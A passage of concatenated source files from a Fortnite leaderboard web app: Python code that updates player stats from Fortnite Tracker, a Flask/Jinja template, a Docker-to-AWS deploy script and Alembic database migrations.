data['stats']['p2']['winRatio']['valueDec']\n\n # Lifetime Duo Wins\n lt_d_wins = data['stats']['p10']['top1']['valueInt']\n\n if lt_d_wins > player_statslife.life_duo_wins:\n print(f'Updating life_duo_wins: New - {lt_d_wins}, Old - {player_statslife.life_duo_wins}')\n player_statslife.life_duo_wins = lt_d_wins\n\n # Lifetime Duo Kills\n lt_d_kills = data['stats']['p10']['kills']['valueInt']\n\n if lt_d_kills > player_statslife.life_duo_kills:\n print(f'Updating life_duo_kills: New - {lt_d_kills}, Old - {player_statslife.life_duo_kills}')\n player_statslife.life_duo_kills = lt_d_kills\n\n # Lifetime Duo K/D\n player_statslife.life_duo_kd = data['stats']['p10']['kd']['valueDec'] \n\n # Lifetime Duo Matches Played\n lt_d_matches = data['stats']['p10']['matches']['valueInt']\n\n if lt_d_matches > player_statslife.life_duo_matches:\n print(f'Updating life_duo_matches: New - {lt_d_matches}, Old - {player_statslife.life_duo_matches}')\n player_statslife.life_duo_matches = lt_d_matches\n\n # Lifetime Duo WinRate\n if 'winRatio' not in data['stats']['p10']:\n print('No games played. Skipping.')\n else:\n player_statslife.life_duo_wr = data['stats']['p10']['winRatio']['valueDec']\n\n # Lifetime Squad Wins\n lt_sq_wins = data['stats']['p9']['top1']['valueInt']\n\n if lt_sq_wins > player_statslife.life_squad_wins:\n print(f'Updating life_squad_wins: New - {lt_sq_wins}, Old - {player_statslife.life_squad_wins}')\n player_statslife.life_squad_wins = lt_sq_wins\n\n # Lifetime Squad Kills\n lt_sq_kills = data['stats']['p9']['kills']['valueInt']\n\n if lt_sq_kills > player_statslife.life_squad_kills:\n print(f'Updating life_squad_kills: New - {lt_sq_kills}, Old - {player_statslife.life_squad_kills}')\n player_statslife.life_squad_kills = lt_sq_kills\n\n # Lifetime Duo K/D\n player_statslife.life_squad_kd = data['stats']['p9']['kd']['valueDec'] \n\n # Lifetime Duo Matches Played\n lt_sq_matches = data['stats']['p9']['matches']['valueInt']\n\n if lt_sq_matches > player_statslife.life_squad_matches:\n print(f'Updating life_squad_matches: New - {lt_sq_matches}, Old - {player_statslife.life_squad_matches}')\n player_statslife.life_squad_matches = lt_sq_matches\n\n # Lifetime Duo WinRate\n if 'winRatio' not in data['stats']['p9']:\n print('No games played. Skipping.')\n else:\n player_statslife.life_squad_wr = data['stats']['p9']['winRatio']['valueDec'] \n\n get_wins(data)\n sleep(2)\n db.session.commit()\n\ndef total_stats(solo_stat, duo_stat, squad_stat):\n return int(solo_stat) + int(duo_stat) + int(squad_stat)\n\ndef convert_time(mTime):\n # mTime is passed in using this format: 2018-05-08T04:43:12.823\n\n # We remove the T from the middle of the string and turn it into a space: 2018-05-08T04:43:12.823 \n mTime = mTime.replace('T', ' ')\n \n # Trim off the milliseconds: 2018-05-08 04:43:12\n mTimeSplit = mTime.split(\".\")[0]\n\n # Turn it into a datetime object: datetime.datetime(2018, 5, 8, 4, 43, 12)\n dt_utc_naive = datetime.strptime(mTimeSplit, '%Y-%m-%d %H:%M:%S')\n\n # Set it to UTC format: datetime.datetime(2018, 5, 8, 4, 43, 12, tzinfo=<UTC>\n dt_utc = dt_utc_naive.replace(tzinfo=pytz.utc)\n\n # Convert to PST: datetime.datetime(2018, 5, 7, 21, 43, 12, tzinfo=<DstTzInfo 'US/Pacific' PDT-1 day, 17:00:00 DST>)\n dt_pst = dt_utc.astimezone(timezone('US/Pacific'))\n\n # Turn it back into a plain old string so it can be added to the database: 2018-05-07 21:43:12\n m_Time = datetime.strftime(dt_pst, '%Y-%m-%d %H:%M:%S')\n return m_Time\n\ndef get_mode(modeType):\n if modeType == \"p10\":\n return \"duo\"\n elif modeType == \"p9\":\n return \"squad\"\n elif modeType == \"p2\":\n return \"solo\"\n else:\n print('nothing')\n\ndef get_highest_kills(mode, winData):\n kill_list = []\n for w in winData['recentMatches']:\n if mode not in w['playlist']:\n continue\n else:\n kills = w['kills']\n kill_list.append(kills)\n \n if kill_list:\n kills_highest = max(kill_list)\n return kills_highest\n else:\n return 0\n\ndef get_wins(winData):\n player = winData['epicUserHandle']\n for d in winData['recentMatches']:\n if d['top1'] == 1:\n kills = d['kills']\n modeName = get_mode(d['playlist'])\n matchTime = convert_time(d['dateCollected'])\n log = \"{} {} won a {} match with {} kills\".format(matchTime, player, modeName, kills)\n exists = WinFeed.query.filter_by(log=log).first()\n if not exists:\n print(f'New win: {log}')\n db.session.add(WinFeed(log=log))\n\nget_stats()" }, { "alpha_fraction": 0.5482885241508484, "alphanum_fraction": 0.5632640719413757, "avg_line_length": 41.506492614746094, "blob_id": "2f01a4687f2526ba6f793eef3db3e36a01a91675", "content_id": "c5a1bb2b130c969e7e57dfb26f911f93de43afd9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 3272, "license_type": "no_license", "max_line_length": 188, "num_lines": 77, "path": "/app/templates/base.html", "repo_name": "brobotic/fortnite-leaderboard", "src_encoding": "UTF-8", "text": "{% extends 'bootstrap/base.html' %}\n\n{% block head %}\n{{super()}}\n<link rel=\"stylesheet\" type=\"text/css\" href=\"https://cdn.datatables.net/1.10.16/css/jquery.dataTables.css\">\n{% endblock %}\n\n{% block styles %}\n{{super()}}\n<link rel=\"stylesheet\" href=\"{{url_for('.static', filename='mycss.css')}}\">\n{% endblock %}\n\n{% block title %}\n {% if title %}{{ title }} - FORTNITE LEADERBOARD{% else %}Fortnite Leaderboard{% endif %}\n{% endblock %}\n\n{% block scripts %}\n{{super()}}\n<script type=\"text/javascript\" charset=\"utf8\" src=\"https://cdn.datatables.net/1.10.16/js/jquery.dataTables.js\"></script>\n<script>\n $(document).ready( function () {\n $('#t01').DataTable({searching: false, paging: false, info: false});\n $('#t02').DataTable({searching: false, paging: false, info: false});\n $('#t03').DataTable({searching: false, paging: false, info: false});\n $('#t04').DataTable({searching: false, paging: false, info: false});\n $('#t05').DataTable({searching: false, paging: false, info: false});\n $('#t06').DataTable({searching: false, paging: false, info: false});\n $('#t07').DataTable({searching: false, paging: false, info: false});\n $('#t08').DataTable({searching: false, paging: false, info: false});\n $('#t09').DataTable({searching: false, paging: false, info: false});\n $('#t10').DataTable({searching: false, paging: false, info: false});\n $('#t11').DataTable({searching: false, paging: false, info: false});\n $('#t12').DataTable({searching: false, paging: false, info: false})\n } );\n</script>\n{% endblock %}\n\n\n{% block navbar %}\n <nav class=\"navbar navbar-default\">\n <div class=\"container\">\n <div class=\"navbar-header\">\n <button type=\"button\" class=\"navbar-toggle collapsed\" data-toggle=\"collapse\" data-target=\"#bs-example-navbar-collapse-1\" aria-expanded=\"false\">\n <span class=\"sr-only\">Toggle navigation</span>\n <span class=\"icon-bar\"></span>\n <span class=\"icon-bar\"></span>\n <span class=\"icon-bar\"></span>\n </button>\n <a class=\"navbar-brand\" href=\"{{ url_for('index') }}\">FORTNITE LEADERBOARD</a>\n </div>\n <div class=\"collapse navbar-collapse\" id=\"bs-example-navbar-collapse-1\">\n <ul class=\"nav navbar-nav\">\n <li><a href=\"{{ url_for('index') }}\">Home</a></li>\n <li><a href=\"{{ url_for('changelog') }}\">Changelog</a></li>\n </ul>\n </div>\n </div>\n </nav>\n{% endblock %}\n\n{% block content %}\n <div class=\"container\">\n {# application content needs to be provided in the app_content block #}\n {% block app_content %}{% endblock %}\n </div>\n<br />\n<br />\n {% block footer %}\n <footer class=\"page-footer font-small black pt-4 mt-4\">\n <div class=\"row\">\n <div class =\"footer-copyright py-3 text-center\">\n v1.7.6, released 5-16-18 | Stats updated from <a href=\"https://fortnitetracker.com/\">Fortnite Tracker</a> every 5 minutes | Fortnite is a registered trademark of Epic Games\n </div>\n </div>\n </footer>\n {% endblock %}\n{% endblock %}" }, { "alpha_fraction": 0.7550482749938965, "alphanum_fraction": 0.7866549491882324, "avg_line_length": 70.25, "blob_id": "d7deb9300dfb4e5a5a2d7b8022f7492fa8dba95d", "content_id": "7a840ed71841079cc6e6c8cdf535f3f93b4154e1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 1139, "license_type": "no_license", "max_line_length": 122, "num_lines": 16, "path": "/deploy.sh", "repo_name": "brobotic/fortnite-leaderboard", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\n# 1. When we're ready to deploy, we merge the 'Dev' branch in GitLab into the 'Master' branch\n# 2. GitLab informs Jenkins of the merge via webhook, which fires off a Jenkins build job\n# 3. Jenkins tells the build agent (a local CentOS 7 server running Docker) to pull down the latest code and run deploy.sh\n# 4. deploy.sh builds the production container image with the latest code (using Dockerfile)\n# 5. deploy.sh authenticates with AWS Elastic Container Registry\n# 6. deploy.sh tags the newly built production container as the latest version of the image\n# 7. deploy.sh pushes the new production container image to AWS ECR\n# 8. deploy.sh tells our application service to re-deploy itself with the latest production image\n\ndocker build -t fortnitefriends .\n$(~/.local/bin/aws ecr get-login --no-include-email --region us-west-2)\ndocker tag fortnitefriends:latest 098857454472.dkr.ecr.us-west-2.amazonaws.com/fortnitefriends:latest\ndocker push 098857454472.dkr.ecr.us-west-2.amazonaws.com/fortnitefriends:latest\n/home/jenkins/.local/bin/aws ecs update-service --cluster default --service fortnitefriends --force-new-deployment" }, { "alpha_fraction": 0.6439306139945984, "alphanum_fraction": 0.6624277234077454, "avg_line_length": 47.05555725097656, "blob_id": "f7bc6c7c3c89c5ee87fe0802405af0a8f8b065da", "content_id": "015f9d5770db71e6ce6c3cd77561aef7d90d422b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2595, "license_type": "no_license", "max_line_length": 99, "num_lines": 54, "path": "/migrations/versions/8b543fb2ed1e_adding_matches_to_each_season_3_mode.py", "repo_name": "brobotic/fortnite-leaderboard", "src_encoding": "UTF-8", "text": "\"\"\"adding matches to each season 3 mode\n\nRevision ID: 8b543fb2ed1e\nRevises: 781998b42b39\nCreate Date: 2018-04-30 13:52:34.759928\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '8b543fb2ed1e'\ndown_revision = '781998b42b39'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('stats', sa.Column('duo_matches', sa.Integer(), nullable=True))\n op.add_column('stats', sa.Column('s3_total_kd', sa.Float(), nullable=True))\n op.add_column('stats', sa.Column('s3_total_kills', sa.Integer(), nullable=True))\n op.add_column('stats', sa.Column('s3_total_matches', sa.Float(), nullable=True))\n op.add_column('stats', sa.Column('s3_total_wins', sa.Integer(), nullable=True))\n op.add_column('stats', sa.Column('solo_matches', sa.Integer(), nullable=True))\n op.add_column('stats', sa.Column('squad_matches', sa.Integer(), nullable=True))\n op.create_index(op.f('ix_stats_duo_matches'), 'stats', ['duo_matches'], unique=False)\n op.create_index(op.f('ix_stats_s3_total_kd'), 'stats', ['s3_total_kd'], unique=False)\n op.create_index(op.f('ix_stats_s3_total_kills'), 'stats', ['s3_total_kills'], unique=False)\n op.create_index(op.f('ix_stats_s3_total_matches'), 'stats', ['s3_total_matches'], unique=False)\n op.create_index(op.f('ix_stats_s3_total_wins'), 'stats', ['s3_total_wins'], unique=False)\n op.create_index(op.f('ix_stats_solo_matches'), 'stats', ['solo_matches'], unique=False)\n op.create_index(op.f('ix_stats_squad_matches'), 'stats', ['squad_matches'], unique=False)\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_index(op.f('ix_stats_squad_matches'), table_name='stats')\n op.drop_index(op.f('ix_stats_solo_matches'), table_name='stats')\n op.drop_index(op.f('ix_stats_s3_total_wins'), table_name='stats')\n op.drop_index(op.f('ix_stats_s3_total_matches'), table_name='stats')\n op.drop_index(op.f('ix_stats_s3_total_kills'), table_name='stats')\n op.drop_index(op.f('ix_stats_s3_total_kd'), table_name='stats')\n op.drop_index(op.f('ix_stats_duo_matches'), table_name='stats')\n op.drop_column('stats', 'squad_matches')\n op.drop_column('stats', 'solo_matches')\n op.drop_column('stats', 's3_total_wins')\n op.drop_column('stats', 's3_total_matches')\n op.drop_column('stats', 's3_total_kills')\n op.drop_column('stats', 's3_total_kd')\n op.drop_column('stats', 'duo_matches')\n # ### end Alembic commands ###\n" }, { "alpha_fraction": 0.654411792755127, "alphanum_fraction": 0.6691176295280457, "avg_line_length": 19.923076629638672, "blob_id": "fa87298e75599e1f2d52cfaa35792bfb643d0483", "content_id": "4a82b50822278d7a4eaf73a569549e0f9d7d52b9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 272, "license_type": "no_license", "max_line_length": 41, "num_lines": 13, "path": "/fortnite.py", "repo_name": "brobotic/fortnite-leaderboard", "src_encoding": "UTF-8", "text": "from app import app, db\nfrom app.models import Stats\nimport requests\nimport json\nfrom time import sleep\n\[email protected]_context_processor\ndef make_shell_context():\n return {'db': db, 'Stats': Stats}\n\n# For Windows\nif __name__ == \"__main__\":\n app.run(host='0.0.0.0')\n" }, { "alpha_fraction": 0.6372851729393005, "alphanum_fraction": 0.6599823832511902, "avg_line_length": 56.44303894042969, "blob_id": "9223cc179bb87fe45d91da207ea2b9f1d3bf5802", "content_id": "44afff11d75762f6483e73b556e241c97ac0c441", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4538, "license_type": "no_license", "max_line_length": 109, "num_lines": 79, "path": "/migrations/versions/096e9653b7a4_new_table_for_season4.py", "repo_name": "brobotic/fortnite-leaderboard", "src_encoding": "UTF-8", "text": "\"\"\"new table for season4\n\nRevision ID: 096e9653b7a4\nRevises: c590b7bd7585\nCreate Date: 2018-05-01 17:01:46.646518\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '096e9653b7a4'\ndown_revision = 'c590b7bd7585'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('stats_four',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('s4_solo_wins', sa.Integer(), nullable=True),\n sa.Column('s4_solo_kills', sa.Integer(), nullable=True),\n sa.Column('s4_solo_kd', sa.Float(), nullable=True),\n sa.Column('s4_solo_wr', sa.Float(), nullable=True),\n sa.Column('s4_solo_matches', sa.Integer(), nullable=True),\n sa.Column('s4_duo_wins', sa.Integer(), nullable=True),\n sa.Column('s4_duo_kills', sa.Integer(), nullable=True),\n sa.Column('s4_duo_kd', sa.Float(), nullable=True),\n sa.Column('s4_duo_wr', sa.Float(), nullable=True),\n sa.Column('s4_duo_matches', sa.Integer(), nullable=True),\n sa.Column('s4_squad_wins', sa.Integer(), nullable=True),\n sa.Column('s4_squad_kills', sa.Integer(), nullable=True),\n sa.Column('s4_squad_kpm', sa.Float(), nullable=True),\n sa.Column('s4_squad_kd', sa.Float(), nullable=True),\n sa.Column('s4_squad_wr', sa.Float(), nullable=True),\n sa.Column('s4_squad_matches', sa.Integer(), nullable=True),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_index(op.f('ix_stats_four_s4_duo_kd'), 'stats_four', ['s4_duo_kd'], unique=False)\n op.create_index(op.f('ix_stats_four_s4_duo_kills'), 'stats_four', ['s4_duo_kills'], unique=False)\n op.create_index(op.f('ix_stats_four_s4_duo_matches'), 'stats_four', ['s4_duo_matches'], unique=False)\n op.create_index(op.f('ix_stats_four_s4_duo_wins'), 'stats_four', ['s4_duo_wins'], unique=False)\n op.create_index(op.f('ix_stats_four_s4_duo_wr'), 'stats_four', ['s4_duo_wr'], unique=False)\n op.create_index(op.f('ix_stats_four_s4_solo_kd'), 'stats_four', ['s4_solo_kd'], unique=False)\n op.create_index(op.f('ix_stats_four_s4_solo_kills'), 'stats_four', ['s4_solo_kills'], unique=False)\n op.create_index(op.f('ix_stats_four_s4_solo_matches'), 'stats_four', ['s4_solo_matches'], unique=False)\n op.create_index(op.f('ix_stats_four_s4_solo_wins'), 'stats_four', ['s4_solo_wins'], unique=False)\n op.create_index(op.f('ix_stats_four_s4_solo_wr'), 'stats_four', ['s4_solo_wr'], unique=False)\n op.create_index(op.f('ix_stats_four_s4_squad_kd'), 'stats_four', ['s4_squad_kd'], unique=False)\n op.create_index(op.f('ix_stats_four_s4_squad_kills'), 'stats_four', ['s4_squad_kills'], unique=False)\n op.create_index(op.f('ix_stats_four_s4_squad_kpm'), 'stats_four', ['s4_squad_kpm'], unique=False)\n op.create_index(op.f('ix_stats_four_s4_squad_matches'), 'stats_four', ['s4_squad_matches'], unique=False)\n op.create_index(op.f('ix_stats_four_s4_squad_wins'), 'stats_four', ['s4_squad_wins'], unique=False)\n op.create_index(op.f('ix_stats_four_s4_squad_wr'), 'stats_four', ['s4_squad_wr'], unique=False)\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_index(op.f('ix_stats_four_s4_squad_wr'), table_name='stats_four')\n op.drop_index(op.f('ix_stats_four_s4_squad_wins'), table_name='stats_four')\n op.drop_index(op.f('ix_stats_four_s4_squad_matches'), table_name='stats_four')\n op.drop_index(op.f('ix_stats_four_s4_squad_kpm'), table_name='stats_four')\n op.drop_index(op.f('ix_stats_four_s4_squad_kills'), table_name='stats_four')\n op.drop_index(op.f('ix_stats_four_s4_squad_kd'), table_name='stats_four')\n op.drop_index(op.f('ix_stats_four_s4_solo_wr'), table_name='stats_four')\n op.drop_index(op.f('ix_stats_four_s4_solo_wins'), table_name='stats_four')\n op.drop_index(op.f('ix_stats_four_s4_solo_matches'), table_name='stats_four')\n op.drop_index(op.f('ix_stats_four_s4_solo_kills'), table_name='stats_four')\n op.drop_index(op.f('ix_stats_four_s4_solo_kd'), table_name='stats_four')\n op.drop_index(op.f('ix_stats_four_s4_duo_wr'), table_name='stats_four')\n op.drop_index(op.f('ix_stats_four_s4_duo_wins'), table_name='stats_four')\n op.drop_index(op.f('ix_stats_four_s4_duo_matches'), table_name='stats_four')\n op.drop_index(op.f('ix_stats_four_s4_duo_kills'), table_name='stats_four')\n op.drop_index(op.f('ix_stats_four_s4_duo_kd'), table_name='stats_four')\n op.drop_table('stats_four')\n # ### end Alembic commands ###\n" }, { "alpha_fraction": 0.6391275525093079, "alphanum_fraction": 0.6708526015281677, "avg_line_length": 38.81578826904297, "blob_id": "7aa293677b5e3fc75a58f94bc7fbe1e3fbc85332", "content_id": "d16b7da3f578e01d0ebeffd0a46bd2f5057d2fc0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1513, "license_type": "no_license", "max_line_length": 109, "num_lines": 38, "path": "/migrations/versions/1508333f895d_adding_s4_total_stats.py", "repo_name": "brobotic/fortnite-leaderboard", "src_encoding": "UTF-8", "text": "\"\"\"adding s4 total stats\n\nRevision ID: 1508333f895d\nRevises: 063a23dbc981\nCreate Date: 2018-05-03 01:22:29.075265\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '1508333f895d'\ndown_revision = '063a23dbc981'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('stats_four', sa.Column('s4_total_kills', sa.Integer(), nullable=True))\n op.add_column('stats_four', sa.Column('s4_total_matches', sa.Integer(), nullable=True))\n op.add_column('stats_four', sa.Column('s4_total_wins', sa.Integer(), nullable=True))\n op.create_index(op.f('ix_stats_four_s4_total_kills'), 'stats_four', ['s4_total_kills'], unique=False)\n op.create_index(op.f('ix_stats_four_s4_total_matches'), 'stats_four', ['s4_total_matches'], unique=False)\n op.create_index(op.f('ix_stats_four_s4_total_wins'), 'stats_four', ['s4_total_wins'], unique=False)\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_index(op.f('ix_stats_four_s4_total_wins'), table_name='stats_four')\n op.drop_index(op.f('ix_stats_four_s4_total_matches'), table_name='stats_four')\n op.drop_index(op.f('ix_stats_four_s4_total_kills'), table_name='stats_four')\n op.drop_column('stats_four', 's4_total_wins')\n op.drop_column('stats_four', 's4_total_matches')\n op.drop_column('stats_four', 's4_total_kills')\n # ### end Alembic commands ###\n" }, { "alpha_fraction": 0.6561450362205505, "alphanum_fraction": 0.6756212115287781, "avg_line_length": 38.18421173095703, "blob_id": "cbf4ebe2a0d42ae178b5a212ccf78b3370650ece", "content_id": "b03a5f404a08700c51ffb84f1ea10c416888ee76", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1489, "license_type": "no_license", "max_line_length": 103, "num_lines": 38, "path": "/migrations/versions/213637bd20e0_adding_matches_played_stat_to_all_modes.py", "repo_name": "brobotic/fortnite-leaderboard", "src_encoding": "UTF-8", "text": "\"\"\"adding matches played stat to all modes\n\nRevision ID: 213637bd20e0\nRevises: 8b543fb2ed1e\nCreate Date: 2018-04-30 14:10:25.818049\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '213637bd20e0'\ndown_revision = '8b543fb2ed1e'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('stats', sa.Column('life_duo_matches', sa.Integer(), nullable=True))\n op.add_column('stats', sa.Column('life_solo_matches', sa.Integer(), nullable=True))\n op.add_column('stats', sa.Column('life_squad_matches', sa.Integer(), nullable=True))\n op.create_index(op.f('ix_stats_life_duo_matches'), 'stats', ['life_duo_matches'], unique=False)\n op.create_index(op.f('ix_stats_life_solo_matches'), 'stats', ['life_solo_matches'], unique=False)\n op.create_index(op.f('ix_stats_life_squad_matches'), 'stats', ['life_squad_matches'], unique=False)\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_index(op.f('ix_stats_life_squad_matches'), table_name='stats')\n op.drop_index(op.f('ix_stats_life_solo_matches'), table_name='stats')\n op.drop_index(op.f('ix_stats_life_duo_matches'), table_name='stats')\n op.drop_column('stats', 'life_squad_matches')\n op.drop_column('stats', 'life_solo_matches')\n op.drop_column('stats', 'life_duo_matches')\n # ### end Alembic commands ###\n" }, { "alpha_fraction": 0.6262685656547546, "alphanum_fraction": 0.6475409865379333, "avg_line_length": 55.93333435058594, "blob_id": "5ceb440887d2fd51daf243e437d3465da06664ea", "content_id": "81126632887fe5079baf5193a64b4a7d78421256", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5124, "license_type": "no_license", "max_line_length": 99, "num_lines": 90, "path": "/migrations/versions/c590b7bd7585_season_4_stats_init.py", "repo_name": "brobotic/fortnite-leaderboard", "src_encoding": "UTF-8", "text": "\"\"\"season 4 stats init\n\nRevision ID: c590b7bd7585\nRevises: 3510d57f6c18\nCreate Date: 2018-05-01 12:33:59.582315\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'c590b7bd7585'\ndown_revision = '3510d57f6c18'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('stats', sa.Column('s4_duo_kd', sa.Float(), nullable=True))\n op.add_column('stats', sa.Column('s4_duo_kills', sa.Integer(), nullable=True))\n op.add_column('stats', sa.Column('s4_duo_matches', sa.Integer(), nullable=True))\n op.add_column('stats', sa.Column('s4_duo_wins', sa.Integer(), nullable=True))\n op.add_column('stats', sa.Column('s4_duo_wr', sa.Float(), nullable=True))\n op.add_column('stats', sa.Column('s4_solo_kd', sa.Float(), nullable=True))\n op.add_column('stats', sa.Column('s4_solo_kills', sa.Integer(), nullable=True))\n op.add_column('stats', sa.Column('s4_solo_matches', sa.Integer(), nullable=True))\n op.add_column('stats', sa.Column('s4_solo_wins', sa.Integer(), nullable=True))\n op.add_column('stats', sa.Column('s4_solo_wr', sa.Float(), nullable=True))\n op.add_column('stats', sa.Column('s4_squad_kd', sa.Float(), nullable=True))\n op.add_column('stats', sa.Column('s4_squad_kills', sa.Integer(), nullable=True))\n op.add_column('stats', sa.Column('s4_squad_kpm', sa.Float(), nullable=True))\n op.add_column('stats', sa.Column('s4_squad_matches', sa.Integer(), nullable=True))\n op.add_column('stats', sa.Column('s4_squad_wins', sa.Integer(), nullable=True))\n op.add_column('stats', sa.Column('s4_squad_wr', sa.Float(), nullable=True))\n op.create_index(op.f('ix_stats_s4_duo_kd'), 'stats', ['s4_duo_kd'], unique=False)\n op.create_index(op.f('ix_stats_s4_duo_kills'), 'stats', ['s4_duo_kills'], unique=False)\n op.create_index(op.f('ix_stats_s4_duo_matches'), 'stats', ['s4_duo_matches'], unique=False)\n op.create_index(op.f('ix_stats_s4_duo_wins'), 'stats', ['s4_duo_wins'], unique=False)\n op.create_index(op.f('ix_stats_s4_duo_wr'), 'stats', ['s4_duo_wr'], unique=False)\n op.create_index(op.f('ix_stats_s4_solo_kd'), 'stats', ['s4_solo_kd'], unique=False)\n op.create_index(op.f('ix_stats_s4_solo_kills'), 'stats', ['s4_solo_kills'], unique=False)\n op.create_index(op.f('ix_stats_s4_solo_matches'), 'stats', ['s4_solo_matches'], unique=False)\n op.create_index(op.f('ix_stats_s4_solo_wins'), 'stats', ['s4_solo_wins'], unique=False)\n op.create_index(op.f('ix_stats_s4_solo_wr'), 'stats', ['s4_solo_wr'], unique=False)\n op.create_index(op.f('ix_stats_s4_squad_kd'), 'stats', ['s4_squad_kd'], unique=False)\n op.create_index(op.f('ix_stats_s4_squad_kills'), 'stats', ['s4_squad_kills'], unique=False)\n op.create_index(op.f('ix_stats_s4_squad_kpm'), 'stats', ['s4_squad_kpm'], unique=False)\n op.create_index(op.f('ix_stats_s4_squad_matches'), 'stats', ['s4_squad_matches'], unique=False)\n op.create_index(op.f('ix_stats_s4_squad_wins'), 'stats', ['s4_squad_wins'], unique=False)\n op.create_index(op.f('ix_stats_s4_squad_wr'), 'stats', ['s4_squad_wr'], unique=False)\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_index(op.f('ix_stats_s4_squad_wr'), table_name='stats')\n op.drop_index(op.f('ix_stats_s4_squad_wins'), table_name='stats')\n op.drop_index(op.f('ix_stats_s4_squad_matches'), table_name='stats')\n op.drop_index(op.f('ix_stats_s4_squad_kpm'), table_name='stats')\n op.drop_index(op.f('ix_stats_s4_squad_kills'), table_name='stats')\n op.drop_index(op.f('ix_stats_s4_squad_kd'), table_name='stats')\n op.drop_index(op.f('ix_stats_s4_solo_wr'), table_name='stats')\n op.drop_index(op.f('ix_stats_s4_solo_wins'), table_name='stats')\n op.drop_index(op.f('ix_stats_s4_solo_matches'), table_name='stats')\n op.drop_index(op.f('ix_stats_s4_solo_kills'), table_name='stats')\n op.drop_index(op.f('ix_stats_s4_solo_kd'), table_name='stats')\n op.drop_index(op.f('ix_stats_s4_duo_wr'), table_name='stats')\n op.drop_index(op.f('ix_stats_s4_duo_wins'), table_name='stats')\n op.drop_index(op.f('ix_stats_s4_duo_matches'), table_name='stats')\n op.drop_index(op.f('ix_stats_s4_duo_kills'), table_name='stats')\n op.drop_index(op.f('ix_stats_s4_duo_kd'), table_name='stats')\n op.drop_column('stats', 's4_squad_wr')\n op.drop_column('stats', 's4_squad_wins')\n op.drop_column('stats', 's4_squad_matches')\n op.drop_column('stats', 's4_squad_kpm')\n op.drop_column('stats', 's4_squad_kills')\n op.drop_column('stats', 's4_squad_kd')\n op.drop_column('stats', 's4_solo_wr')\n op.drop_column('stats', 's4_solo_wins')\n op.drop_column('stats', 's4_solo_matches')\n op.drop_column('stats', 's4_solo_kills')\n op.drop_column('stats', 's4_solo_kd')\n op.drop_column('stats', 's4_duo_wr')\n op.drop_column('stats', 's4_duo_wins')\n op.drop_column('stats', 's4_duo_matches')\n op.drop_column('stats', 's4_duo_kills')\n op.drop_column('stats', 's4_duo_kd')\n # ### end Alembic commands ###\n" }, { "alpha_fraction": 0.6333534121513367, "alphanum_fraction": 0.6514148116111755, "avg_line_length": 38.5476188659668, "blob_id": "88f4ddfa9a1d2eaf8308a90ead94063be38581ad", "content_id": "1df0b716822499225b2f97fd79a2719e73c9bc35", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1661, "license_type": "no_license", "max_line_length": 93, "num_lines": 42, "path": "/migrations/versions/198228c16c4b_adding_win_percentage_back_pt_2.py", "repo_name": "brobotic/fortnite-leaderboard", "src_encoding": "UTF-8", "text": "\"\"\"adding win percentage back pt 2\n\nRevision ID: 198228c16c4b\nRevises: 23f0e0119749\nCreate Date: 2018-04-30 14:42:54.360612\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '198228c16c4b'\ndown_revision = '23f0e0119749'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('stats', sa.Column('life_duo_wr', sa.Float(), nullable=True))\n op.add_column('stats', sa.Column('life_solo_wr', sa.Float(), nullable=True))\n op.add_column('stats', sa.Column('life_squad_wr', sa.Float(), nullable=True))\n op.add_column('stats', sa.Column('life_wr', sa.Float(), nullable=True))\n op.create_index(op.f('ix_stats_life_duo_wr'), 'stats', ['life_duo_wr'], unique=False)\n op.create_index(op.f('ix_stats_life_solo_wr'), 'stats', ['life_solo_wr'], unique=False)\n op.create_index(op.f('ix_stats_life_squad_wr'), 'stats', ['life_squad_wr'], unique=False)\n op.create_index(op.f('ix_stats_life_wr'), 'stats', ['life_wr'], unique=False)\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n 